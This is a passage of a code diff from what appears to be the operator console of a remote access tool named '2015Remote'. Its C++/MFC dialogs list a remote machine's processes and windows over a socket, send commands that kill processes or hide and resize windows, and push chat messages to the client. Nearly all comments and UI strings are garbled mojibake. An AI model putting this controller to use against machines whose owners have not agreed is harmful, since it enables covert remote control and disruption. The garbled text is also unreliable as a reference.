|
||||
m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
|
||||
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 200);
|
||||
ShowProcessList(); //<2F><><EFBFBD>ڵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ž<EFBFBD><C5BD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D4B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>\0\0
|
||||
}else if (m_bHow==TOKEN_WSLIST)//<2F><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>б<EFBFBD>
|
||||
{
|
||||
//<2F><>ʼ<EFBFBD><CABC> <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
m_ControlList.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
|
||||
m_ControlList.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 300);
|
||||
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 300);
|
||||
ShowWindowsList();
|
||||
}
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
void CSystemDlg::ShowWindowsList(void)
|
||||
{
|
||||
char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1));
|
||||
DWORD dwOffset = 0;
|
||||
char *szTitle = NULL;
|
||||
bool isDel=false;
|
||||
|
||||
m_ControlList.DeleteAllItems();
|
||||
CString str;
|
||||
int i ;
|
||||
for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
|
||||
{
|
||||
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>
|
||||
str.Format("%5u", *lpPID);
|
||||
m_ControlList.InsertItem(i, str);
|
||||
m_ControlList.SetItemText(i, 1, szTitle);
|
||||
m_ControlList.SetItemText(i, 2, "<EFBFBD><EFBFBD>ʾ"); //(d) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>ʾΪ "<22><>ʾ"
|
||||
// ItemData Ϊ<><CEAA><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
m_ControlList.SetItemData(i, *lpPID); //(d)
|
||||
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||
}
|
||||
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD><EFBFBD><EFBFBD>%d<><64>", i); //<2F><EFBFBD>CtrlList
|
||||
LVCOLUMN lvc;
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_ControlList.SetColumn(1, &lvc);
|
||||
}
|
||||
|
||||
void CSystemDlg::ShowProcessList(void)
|
||||
{
|
||||
char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); //xiaoxi[][][][][]
|
||||
char *szExeFile;
|
||||
char *szProcessFullPath;
|
||||
DWORD dwOffset = 0;
|
||||
CString str;
|
||||
m_ControlList.DeleteAllItems();
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9> Id+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
|
||||
int i;
|
||||
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
|
||||
{
|
||||
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ID
|
||||
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID֮<44><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
m_ControlList.InsertItem(i, szExeFile); //<2F><><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݼ<EFBFBD><DDBC>뵽<EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
str.Format("%5u", *PID);
|
||||
m_ControlList.SetItemText(i, 1, str);
|
||||
m_ControlList.SetItemText(i, 2, szProcessFullPath);
|
||||
// ItemData Ϊ<><CEAA><EFBFBD><EFBFBD>ID
|
||||
m_ControlList.SetItemData(i, *PID);
|
||||
|
||||
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ѭ<EFBFBD><D1AD>
|
||||
}
|
||||
|
||||
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> / %d", i);
|
||||
LVCOLUMN lvc;
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_ControlList.SetColumn(2, &lvc); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD>ж<EFBFBD><D0B6>ٸ<EFBFBD><D9B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
CMenu Menu;
|
||||
if (m_bHow==TOKEN_PSLIST) //<2F><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>б<EFBFBD>
|
||||
{
|
||||
Menu.LoadMenu(IDR_PROCESS_LIST);
|
||||
}else if (m_bHow==TOKEN_WSLIST)
|
||||
{
|
||||
Menu.LoadMenu(IDR_WINDOW_LIST);
|
||||
}
|
||||
CMenu* SubMenu = Menu.GetSubMenu(0);
|
||||
CPoint Point;
|
||||
GetCursorPos(&Point);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CSystemDlg::OnPlistKill()
|
||||
{
|
||||
CListCtrl *ListCtrl = NULL;
|
||||
if (m_ControlList.IsWindowVisible())
|
||||
ListCtrl = &m_ControlList;
|
||||
else
|
||||
return;
|
||||
|
||||
//[KILL][ID][ID][iD][ID]
|
||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (ListCtrl->GetSelectedCount() * 4));//1.exe 4 ID Handle
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
szBuffer[0] = COMMAND_KILLPROCESS;
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
char *szTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><>ֹ<EFBFBD><D6B9><EFBFBD>̻ᵼ<CCBB>²<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>\n"
|
||||
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD>ʧ<EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD>ȶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD>ֹǰ<EFBFBD><EFBFBD>\n"
|
||||
"<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD>û<EFBFBD>л<EFBFBD><EFBFBD>ᱣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݡ<EFBFBD>";
|
||||
CString str;
|
||||
if (ListCtrl->GetSelectedCount() > 1)
|
||||
{
|
||||
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", szTips, ListCtrl->GetSelectedCount());
|
||||
}
|
||||
else
|
||||
{
|
||||
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", szTips);
|
||||
}
|
||||
if (::MessageBox(m_hWnd, str, "<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO|MB_ICONQUESTION) == IDNO)
|
||||
return;
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
|
||||
//<2F>õ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
while(Pos)
|
||||
{
|
||||
int nItem = ListCtrl->GetNextSelectedItem(Pos);
|
||||
DWORD dwProcessID = ListCtrl->GetItemData(nItem);
|
||||
memcpy(szBuffer + dwOffset, &dwProcessID, sizeof(DWORD)); //sdkfj101112
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
|
||||
Sleep(100);
|
||||
|
||||
OnPlistRefresh();
|
||||
}
|
||||
|
||||
|
||||
VOID CSystemDlg::OnPlistRefresh()
|
||||
{
|
||||
if (m_ControlList.IsWindowVisible())
|
||||
{
|
||||
m_ControlList.DeleteAllItems();
|
||||
GetProcessList();
|
||||
ShowProcessList();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
VOID CSystemDlg::GetProcessList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_PSLIST;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistRefresh()
|
||||
{
|
||||
GetWindowsList();
|
||||
}
|
||||
void CSystemDlg::GetWindowsList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_PSLIST:
|
||||
{
|
||||
ShowProcessList();
|
||||
|
||||
break;
|
||||
}
|
||||
case TOKEN_WSLIST:
|
||||
{
|
||||
ShowWindowsList();
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistClose()
|
||||
{
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_ControlList;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem>=0)
|
||||
{
|
||||
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_CLOSE; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistHide()
|
||||
{
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_ControlList;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); //ע<><D7A2><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1>е<EFBFBD><D0B5><EFBFBD>ʾ״̬Ϊ"<22><><EFBFBD><EFBFBD>"
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀʱ<C4BF>Ͳ<EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ᶪʧ <20><><EFBFBD><EFBFBD>ԶҲ<D4B6><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistRecover()
|
||||
{
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_ControlList;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_NORMAL;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistMax()
|
||||
{
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_ControlList;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MAXIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWlistMin()
|
||||
{
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_ControlList;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem>=0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf,20);
|
||||
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
42
server/2015Remote/SystemDlg.h
Normal file
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
|
||||
#include "IOCPServer.h"
|
||||
// CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CSystemDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CSystemDlg)
|
||||
|
||||
public:
|
||||
CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CSystemDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
VOID CSystemDlg::GetProcessList(void);
|
||||
VOID CSystemDlg::ShowProcessList(void);
|
||||
void CSystemDlg::ShowWindowsList(void);
|
||||
void CSystemDlg::GetWindowsList(void);
|
||||
void CSystemDlg::OnReceiveComplete(void);
|
||||
BOOL m_bHow;
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SYSTEM };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnPlistKill();
|
||||
afx_msg void OnPlistRefresh();
|
||||
afx_msg void OnWlistRefresh();
|
||||
afx_msg void OnWlistClose();
|
||||
afx_msg void OnWlistHide();
|
||||
afx_msg void OnWlistRecover();
|
||||
afx_msg void OnWlistMax();
|
||||
afx_msg void OnWlistMin();
|
||||
};
|
||||
104
server/2015Remote/TalkDlg.cpp
Normal file
@@ -0,0 +1,104 @@
|
||||
// TalkDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "TalkDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
// CTalkDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
|
||||
|
||||
CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CTalkDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = IOCPServer;
|
||||
m_ContextObject = ContextObject;
|
||||
}
|
||||
|
||||
CTalkDlg::~CTalkDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CTalkDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CTalkDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_TALK, &CTalkDlg::OnBnClickedButtonTalk)
|
||||
ON_WM_CLOSE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CTalkDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CTalkDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
void CTalkDlg::OnBnClickedButtonTalk()
|
||||
{
|
||||
int iLength = m_EditTalk.GetWindowTextLength(); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
if (!iLength)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
CString strData;
|
||||
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
char* szBuffer = new char[iLength + 1]; // 2019.1.5 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1
|
||||
memset(szBuffer,0,sizeof(char)*iLength);
|
||||
|
||||
strcpy(szBuffer,strData.GetBuffer(0));
|
||||
|
||||
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
|
||||
delete [] szBuffer;
|
||||
}
|
||||
|
||||
|
||||
BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>VK_ESCAPE<50><45>VK_DELETE
|
||||
if (pMsg->wParam == VK_ESCAPE)
|
||||
return true;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ǿɱ༭<C9B1><E0BCAD><EFBFBD>Ļس<C4BB><D8B3><EFBFBD>
|
||||
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_EditTalk.m_hWnd)
|
||||
{
|
||||
OnBnClickedButtonTalk();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CTalkDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
29
server/2015Remote/TalkDlg.h
Normal file
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CTalkDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CTalkDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CTalkDlg)
|
||||
|
||||
public:
|
||||
CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CTalkDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_TALK };
